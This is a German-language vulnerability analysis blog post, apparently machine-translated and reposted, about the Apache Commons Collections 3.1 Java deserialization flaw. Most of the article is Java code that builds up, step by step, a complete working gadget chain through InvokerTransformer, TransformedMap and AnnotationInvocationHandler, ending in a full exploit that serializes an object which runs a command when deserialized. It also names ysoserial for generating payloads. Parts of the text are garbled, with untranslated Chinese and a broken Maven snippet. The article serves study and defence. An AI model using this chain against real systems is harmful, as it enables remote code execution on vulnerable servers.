Heim >Betrieb und Instandhaltung >Sicherheit >Beispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections

Beispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections

王林
王林nach vorne
2023-05-17 15:10:341870Durchsuche

1. Einleitung

Obwohl die Deserialisierungsanfälligkeit dieser Komponente in vielen Artikeln analysiert wurde, muss sie hier noch aufgezeichnet werden. Dies ist schließlich von Bedeutung für die Entwicklung von Java-Deserialisierungsschwachstellen.

Apache Commons Collections ist eine sehr häufig verwendete Toolbibliothek in der Java-Anwendungsentwicklung. Sie fügt viele leistungsstarke Datenstrukturen hinzu, vereinfacht die Entwicklung von Java-Anwendungen und ist zu einem anerkannten Standard für Java zur Verarbeitung von Sammlungsdaten geworden. Viele gängige Anwendungen wie Weblogic, WebSphere, Jboss, Jenkins usw. verwenden alle die Apache Commons Collections-Toolbibliothek. Wenn in der Toolbibliothek eine Deserialisierungsschwachstelle auftritt, sind auch diese Anwendungen betroffen. Grund.

2. Testumgebung

jdk1.7.0_21 + commons-collections-3.1.jar

Download-Adresse der historischen Version der Apache Commons Collections-Komponente: http://archive.apache.org/dist/commons/collections/binaries /, oder Maven-Abhängigkeit verwenden:



commons-collections< /groupId>
.com/frohoff/ysoserial) die Schwachstellen-Exploit-Nutzlast dieser Komponente während des Penetrationstests bereits integriert hat, müssen Sie nur die Eigenschaften von Java-serialisierten Daten befolgen (Daten beginnend mit rO0AB im hexadezimalen ACED- oder Base64-Codierungsformat). Wenn Sie den Einstiegspunkt der Java-Deserialisierung finden und vermuten, dass die CommonsCollections-Komponente basierend auf der Webanwendung vorhanden sein könnte, können Sie das ysoserial-Tool direkt verwenden, um die Nutzlast für die Ausnutzung von Sicherheitslücken direkt zu generieren.

3. Schwachstellenanalyse

Hier analysieren wir die Exploit-Kette für Schwachstellen bei der Codeausführung, die mithilfe der Transformer-Schnittstelle und mehrerer Klassen, die diese Schnittstelle implementieren, erstellt wurde. Apache Commons Collections反序列化漏洞的示例分析

Transformer-Schnittstelle

Die Definition der Transformer-Schnittstelle ist nur eine transform()-Methode, die laut Dokumentation hauptsächlich zur Objektkonvertierung verwendet wird. Es gibt eine ganze Reihe von Klassen, die diese Schnittstelle implementieren. Hier verwenden wir hauptsächlich die folgenden drei Implementierungsklassen: ConstantTransformer, InvokerTransformer und ChainedTransformer.

package org.apache.commons.collections;

public interface Transformer {
    //对象转换
    public Object transform(Object input);
}
ChainedTransformer-Klasse

ChainedTransformer-Klasse definiert ein Transformer[]-Array und durchläuft bei der Implementierung der transform()-Methode die Array-Elemente nacheinander und ruft die transform()-Methode der Transformer-Implementierungsklasse auf, die dem Array-Element entspricht. Transformer-Objekte werden aneinandergereiht.

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    ...
        
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

    ...
}
InvokerTransformer-Klasse

Die transform()-Methode der InvokerTransformer-Klasse ruft hauptsächlich eine Methode des eingehenden Parameterobjekts über den Reflexionsmechanismus auf. Beim Erstellen des InvokerTransformer-Objekts müssen Sie nur den Methodennamen, den Parametertyp und den Parameterwert festlegen.

public class InvokerTransformer implements Transformer, Serializable {
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    ...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //简化后的transform()方法,通过反射机制调用对象的方法
    public Object transform(Object input) {
        ...
        
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
                
        ...  
    }
}
ConstantTransformer-Klasse

Die ConstantTransformer-Klasse ist sehr einfach und gibt das eingehende Objekt direkt zurück.

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }

    ...
}
Angesichts der oben genannten Situation ist es unser Ziel, die Ausführung des Codes Runtime.getRuntime().exec() zu implementieren. Offensichtlich müssen wir die transform()-Methode der InvokerTransformer-Klasse verwenden, um den Reflexionsaufruf zu implementieren. Wie unten gezeigt, ist dies die Quelle der Codeausführung:

package orz.vuln.poc;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
        //通过InvokeTransformer类反射调用Runtime代码
		InvokerTransformer invoker1 = new InvokerTransformer("getMethod", 
				new Class[] {String.class, Class[].class}, 
				new Object[] {"getRuntime", null});
		InvokerTransformer invoker2 = new InvokerTransformer("invoke", 
				new Class[] {Object.class, Object[].class}, 
				new Object[] {null, null});
		InvokerTransformer invoker3 = new InvokerTransformer("exec", 
				new Class[] {String.class}, 
				new Object[] {"calc.exe"});
		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));
		
		/*正常反射调用Runtime代码
		Class clazz = Runtime.class;
		Method m1 = clazz.getMethod("getRuntime", null);
		Method m2 = clazz.getMethod("exec", String.class);
		m2.invoke(m1.invoke(clazz, null), "calc.exe");
		*/
	}
}

Im weiteren Verlauf haben wir festgestellt, dass wir die transform()-Methode in der ChainedTransformer-Klasse anstelle von invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class) verwenden können ))), das heißt, initialisieren Sie die oben genannten mehreren InvokerTransformer-Objekte in Transformer[]-Arrays und verwenden Sie Runtime.class, um das ConstantTransformer-Klassenobjekt zu initialisieren. Auf diese Weise können Sie eine Transformer-Aufrufkette erstellen, die die Codeausführung mit jedem Objekt auslösen kann :

package orz.vuln.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform("foo");
	}
}
Als nächstes hoffen wir, dass die Deserialisierung den Aufruf der transform()-Methode des Transformer-Objekts auslöst, um den Zweck der Codeausführung zu erreichen.

TransformedMap-Klasse

Apache Commons Collections definiert eine TransformedMap-Klasse, um eine Transformation auf der Karte durchzuführen. Die Klasse wird durch Aufrufen der decor()-Methode instanziiert, wie unten gezeigt:

Und in dieser Klasse gibt es auch eine checkSetValue()-Methode, in der die transform()-Methode zum Aufrufen des Transformer-Objekts implementiert ist; gemäß der Methodenbeschreibung wird die checkSetValue()-Methode aufgerufen, wenn die setValue()-Methode aufgerufen wird:

Apache Commons Collections反序列化漏洞的示例分析

Deshalb Unsere Idee besteht darin, das TransformedMap-Objekt mithilfe des Map-Objekts und des erstellten bösartigen Transformer-Objekts zu initialisieren und dann die setValue()-Methode aufzurufen, um den Wert des Map-Objekts zu ändern. Der Code lautet wie folgt:

package orz.vuln.poc;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("foo", "bar");
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		entry.setValue("test");
	}
}

Suchen Sie weiter Die durch Deserialisierung ausgelöste Ausführung der setValue()-Methode wurde schließlich in der readObject()-Methode der AnnotationInvocationHandler-Klasse gefunden. Apache Commons Collections反序列化漏洞的示例分析

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示:

Apache Commons Collections反序列化漏洞的示例分析

由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件

Apache Commons Collections反序列化漏洞的示例分析

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

Apache Commons Collections反序列化漏洞的示例分析

最终,完整漏洞利用代码如下:

package orz.vuln.poc;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		//entry.setValue("test");
		
		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Target.class, transformedMap);
		
		FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");
		ObjectOutputStream oos = new ObjectOutputStream(fos);
		oos.writeObject(instance);
		oos.close();
		fos.close();
		
		FileInputStream fis = new FileInputStream("D:/commonscollections.ser");
		ObjectInputStream ois = new ObjectInputStream(fis);
		ois.readObject();
		ois.close();
		fis.close();
	}
}

Das obige ist der detaillierte Inhalt vonBeispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen